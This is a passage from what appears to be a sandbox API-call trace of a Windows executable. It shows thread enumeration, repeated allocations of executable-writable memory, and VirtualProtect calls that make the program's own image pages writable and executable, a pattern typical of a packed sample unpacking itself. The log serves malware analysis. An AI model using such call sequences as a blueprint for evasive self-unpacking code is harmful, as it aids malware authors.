(hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.838] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.838] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.839] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.839] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.840] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.842] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.842] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.843] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.843] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.844] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.844] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.845] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.845] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.846] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.847] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.847] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.848] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.848] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.849] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.850] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.850] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.851] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.852] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.852] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.853] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.854] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.854] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.855] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.855] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.856] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.856] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.858] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.859] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.859] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.860] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.860] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.861] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.862] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.862] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.863] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.863] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.864] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.865] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.865] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.866] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.867] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.867] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.868] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.869] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.870] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.871] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.871] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.872] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.873] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.874] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.874] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.875] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.877] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.878] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.879] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.880] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.881] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.881] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.882] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.883] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.883] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.885] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.885] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.886] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.887] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.888] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.888] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.889] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.890] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.890] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.891] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.892] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.893] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.893] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0153.894] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0154.250] CloseHandle (hObject=0x33c) returned 1 [0154.250] CloseHandle (hObject=0x33c) returned 1 [0154.258] CloseHandle (hObject=0x328) returned 1 [0154.258] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0154.312] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2150000 [0154.425] VirtualFree (lpAddress=0x2150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0154.430] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2150000 [0154.566] VirtualFree (lpAddress=0x2150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0154.571] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2150000 [0154.739] VirtualFree (lpAddress=0x2150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0154.744] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2150000 [0154.906] VirtualFree (lpAddress=0x2150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0154.911] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2150000 [0155.192] VirtualFree (lpAddress=0x2150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0155.198] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2150000 [0155.376] VirtualFree (lpAddress=0x2150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0155.380] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2150000 [0155.505] VirtualFree (lpAddress=0x2150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0155.510] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2150000 [0155.671] VirtualFree (lpAddress=0x2150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0155.676] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2150000 [0155.796] VirtualFree (lpAddress=0x2150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0155.800] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2150000 [0155.933] VirtualFree (lpAddress=0x2150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0155.938] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2150000 [0156.108] VirtualFree (lpAddress=0x2150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0156.112] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2150000 [0156.380] VirtualFree (lpAddress=0x2150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0156.404] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2150000 [0156.535] VirtualFree (lpAddress=0x2150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0156.539] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2150000 [0156.645] VirtualFree (lpAddress=0x2150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0156.661] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2150000 [0156.768] VirtualFree (lpAddress=0x2150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0156.773] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2150000 [0156.966] VirtualFree (lpAddress=0x2150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0156.970] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2150000 [0157.159] VirtualFree (lpAddress=0x2150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0157.162] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2150000 [0157.341] VirtualFree (lpAddress=0x2150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0157.345] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2150000 [0157.444] VirtualFree (lpAddress=0x2150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0157.447] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2150000 [0157.552] VirtualFree (lpAddress=0x2150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0157.561] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2150000 [0157.673] VirtualFree (lpAddress=0x2150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0157.679] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2150000 [0157.874] VirtualFree (lpAddress=0x2150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0157.879] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2150000 [0158.146] VirtualFree (lpAddress=0x2150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0158.152] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2150000 [0158.293] VirtualFree (lpAddress=0x2150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0158.299] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2150000 [0158.442] VirtualFree (lpAddress=0x2150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0158.448] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2150000 [0158.567] VirtualFree (lpAddress=0x2150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0158.576] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2150000 [0158.673] VirtualFree (lpAddress=0x2150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0158.677] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2150000 [0158.786] VirtualFree (lpAddress=0x2150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0158.792] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2150000 [0158.895] VirtualFree (lpAddress=0x2150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0158.953] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2150000 [0159.175] VirtualFree (lpAddress=0x2150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0159.249] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2150000 [0159.486] VirtualFree (lpAddress=0x2150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0159.490] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2150000 [0159.611] VirtualFree (lpAddress=0x2150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0159.618] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2150000 [0159.733] VirtualFree (lpAddress=0x2150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0159.738] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2150000 [0159.857] VirtualFree (lpAddress=0x2150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0159.862] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2150000 [0160.051] VirtualFree (lpAddress=0x2150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0160.058] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2150000 [0160.309] VirtualFree (lpAddress=0x2150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0160.314] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2150000 [0160.516] VirtualFree (lpAddress=0x2150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0160.524] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2150000 [0160.642] VirtualFree (lpAddress=0x2150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0160.646] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2150000 [0160.738] VirtualFree (lpAddress=0x2150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0160.743] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2150000 [0160.908] VirtualFree (lpAddress=0x2150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0160.913] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2150000 [0161.070] VirtualFree (lpAddress=0x2150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0161.074] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2150000 [0161.171] VirtualFree (lpAddress=0x2150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0161.175] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2150000 [0161.282] VirtualFree (lpAddress=0x2150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0161.286] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2150000 [0161.388] VirtualFree (lpAddress=0x2150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0161.391] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2150000 [0161.518] VirtualFree (lpAddress=0x2150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0161.522] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2150000 [0161.657] VirtualFree (lpAddress=0x2150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0161.661] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2150000 [0161.750] VirtualFree (lpAddress=0x2150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0161.753] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2150000 [0161.841] VirtualFree (lpAddress=0x2150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0161.845] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2150000 [0161.948] VirtualFree (lpAddress=0x2150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0161.952] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2150000 [0162.079] VirtualFree (lpAddress=0x2150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0162.084] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2150000 [0162.174] VirtualFree (lpAddress=0x2150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0162.178] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2150000 [0162.271] VirtualFree (lpAddress=0x2150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0162.275] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2150000 [0162.359] VirtualFree (lpAddress=0x2150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0162.363] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2150000 [0162.455] VirtualFree (lpAddress=0x2150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0162.459] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2150000 [0162.552] VirtualFree (lpAddress=0x2150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0162.556] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2150000 [0162.659] VirtualFree (lpAddress=0x2150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0162.663] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2150000 [0162.795] VirtualFree (lpAddress=0x2150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0162.799] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2150000 [0162.930] VirtualFree (lpAddress=0x2150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0162.935] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2150000 [0163.133] VirtualFree (lpAddress=0x2150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0163.137] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2150000 [0163.387] VirtualFree (lpAddress=0x2150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0163.392] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2150000 [0163.861] VirtualFree (lpAddress=0x2150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0163.866] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2150000 [0164.142] VirtualFree (lpAddress=0x2150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0164.147] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2150000 [0164.300] VirtualFree (lpAddress=0x2150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0164.305] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2150000 [0164.449] VirtualFree (lpAddress=0x2150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0164.454] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2150000 [0164.556] VirtualFree (lpAddress=0x2150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0164.560] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2150000 [0164.689] VirtualFree (lpAddress=0x2150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0164.692] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2150000 [0164.872] VirtualFree (lpAddress=0x2150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0164.876] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2150000 [0165.199] VirtualFree (lpAddress=0x2150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0165.208] GetSystemTime (in: lpSystemTime=0x19f2f0 | out: lpSystemTime=0x19f2f0*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x5, wDay=0xc, wHour=0x9, wMinute=0x11, wSecond=0x2, wMilliseconds=0xa9)) [0165.208] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x2) returned 1 [0165.693] VirtualProtect (in: lpAddress=0x401000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0165.694] VirtualProtect (in: lpAddress=0x402000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0165.694] VirtualProtect (in: lpAddress=0x403000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0165.694] VirtualProtect (in: lpAddress=0x404000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0165.695] VirtualProtect (in: lpAddress=0x405000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0165.695] VirtualProtect (in: lpAddress=0x406000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0165.695] VirtualProtect (in: lpAddress=0x407000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0165.695] VirtualProtect (in: lpAddress=0x408000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0165.695] VirtualProtect (in: lpAddress=0x409000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0165.696] VirtualProtect (in: lpAddress=0x40a000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0165.696] VirtualProtect (in: lpAddress=0x40b000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0165.696] VirtualProtect (in: lpAddress=0x40c000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0165.696] VirtualProtect (in: lpAddress=0x40d000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0165.697] VirtualProtect (in: lpAddress=0x40e000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0165.697] VirtualProtect (in: lpAddress=0x40f000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0165.697] VirtualProtect (in: lpAddress=0x410000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0165.697] VirtualProtect (in: lpAddress=0x411000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0165.698] VirtualProtect (in: lpAddress=0x412000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0165.698] VirtualProtect (in: lpAddress=0x413000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0165.698] VirtualProtect (in: lpAddress=0x414000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0165.698] VirtualProtect (in: lpAddress=0x415000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0165.699] VirtualProtect (in: lpAddress=0x416000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0165.699] VirtualProtect (in: lpAddress=0x417000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0165.699] VirtualProtect (in: lpAddress=0x418000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0165.699] VirtualProtect (in: lpAddress=0x419000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0165.699] VirtualProtect (in: lpAddress=0x41a000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0165.700] VirtualProtect (in: lpAddress=0x41b000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0165.700] VirtualProtect (in: lpAddress=0x41c000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0165.700] VirtualProtect (in: lpAddress=0x41d000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0165.700] VirtualProtect (in: lpAddress=0x41e000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0165.701] VirtualProtect (in: lpAddress=0x41f000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0165.701] VirtualProtect (in: lpAddress=0x420000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0165.701] VirtualProtect (in: lpAddress=0x421000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0165.701] VirtualProtect (in: lpAddress=0x422000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0165.702] VirtualProtect (in: lpAddress=0x423000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0165.702] VirtualProtect (in: lpAddress=0x424000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0165.702] VirtualProtect (in: lpAddress=0x425000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0165.702] VirtualProtect (in: lpAddress=0x426000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 